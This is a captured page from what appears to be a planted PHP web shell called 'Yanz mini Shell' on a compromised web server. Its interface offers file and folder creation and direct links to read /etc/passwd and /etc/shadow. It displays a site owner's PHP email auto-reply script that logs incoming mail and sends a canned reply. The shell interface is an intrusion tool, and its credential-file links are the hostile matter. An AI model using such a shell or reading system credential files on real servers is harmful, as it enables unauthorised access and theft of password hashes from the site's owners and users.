Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
// Auto-Reply Script for admin@subimicrotech.com
$log_file = '/home/masterro/public_html/auto_reply_log.txt';

// Log start
file_put_contents($log_file, "=== Script Started: ".date('Y-m-d H:i:s')." ===\n", FILE_APPEND | LOCK_EX);

// Get email content from stdin
$email_content = '';
$stdin = fopen('php://stdin', 'r');
if ($stdin) {
    while (!feof($stdin)) {
        $email_content .= fgets($stdin, 1024);
    }
    fclose($stdin);
}

file_put_contents($log_file, "Raw email content received:\n".$email_content."\n", FILE_APPEND | LOCK_EX);

// Parse From and Subject from email headers
$from = '';
$subject = '';

if (!empty($email_content)) {
    $lines = explode("\n", $email_content);
    foreach ($lines as $line) {
        if (preg_match('/^From:\s*(.*)/i', $line, $matches)) {
            $from = trim($matches[1]);
            file_put_contents($log_file, "Found From: $from\n", FILE_APPEND | LOCK_EX);
        }
        if (preg_match('/^Subject:\s*(.*)/i', $line, $matches)) {
            $subject = trim($matches[1]);
            file_put_contents($log_file, "Found Subject: $subject\n", FILE_APPEND | LOCK_EX);
        }
        // Stop at empty line (end of headers)
        if (trim($line) == '') break;
    }
    
    // Extract email from "Name <email@domain.com>" format
    $from_email = '';
    if (preg_match('/<([^>]+)>/', $from, $matches)) {
        $from_email = trim($matches[1]);
    } else if (preg_match('/([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/', $from, $matches)) {
        $from_email = trim($matches[1]);
    } else {
        $from_email = trim($from);
    }
    
    file_put_contents($log_file, "Final From Email: $from_email\n", FILE_APPEND | LOCK_EX);
    
    // Send auto-reply if we have valid email and subject
    if (!empty($from_email) && filter_var($from_email, FILTER_VALIDATE_EMAIL) && !empty($subject)) {
        $reply_message = "Client ID: $subject
Yes, we have the capacity for an immediate start. Call times are
Am: 8:00am
Lunch: 12:00
Tea: 4:00
Bed: 20:00
We are flexible with the call times
Kindly regards
Sandra";
        
        // Use your actual email as From address
        $headers = "From: admin@subimicrotech.com\r\n";
        $headers .= "Reply-To: admin@subimicrotech.com\r\n";
        $headers .= "Content-Type: text/plain; charset=UTF-8\r\n";
        $headers .= "MIME-Version: 1.0\r\n";
        
        file_put_contents($log_file, "Attempting to send reply from admin@subimicrotech.com to: $from_email\n", FILE_APPEND | LOCK_EX);
        
        if (mail($from_email, "Re: $subject", $reply_message, $headers)) {
            file_put_contents($log_file, "SUCCESS: Auto-reply sent to $from_email\n", FILE_APPEND | LOCK_EX);
        } else {
            file_put_contents($log_file, "ERROR: mail() function failed\n", FILE_APPEND | LOCK_EX);
        }
    } else {
        file_put_contents($log_file, "ERROR: Invalid email or missing subject. Email: '$from_email', Subject: '$subject'\n", FILE_APPEND | LOCK_EX);
    }
} else {
    file_put_contents($log_file, "ERROR: No email content received via STDIN\n", FILE_APPEND | LOCK_EX);
}

file_put_contents($log_file, "=== Script Ended: ".date('Y-m-d H:i:s')." ===\n\n", FILE_APPEND | LOCK_EX);
echo "Auto-reply processing completed\n";
?>